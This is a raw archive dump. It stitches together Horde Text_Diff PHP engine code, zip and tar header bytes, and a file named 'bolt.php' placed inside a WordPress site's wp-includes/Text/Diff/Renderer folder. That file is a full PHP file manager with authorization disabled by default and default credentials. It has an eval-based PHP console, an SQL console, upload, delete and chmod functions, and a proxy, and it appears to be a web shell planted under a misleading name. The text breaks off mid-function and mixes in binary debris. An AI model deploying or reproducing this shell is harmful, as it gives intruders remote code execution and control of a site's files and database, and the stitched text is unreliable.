                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
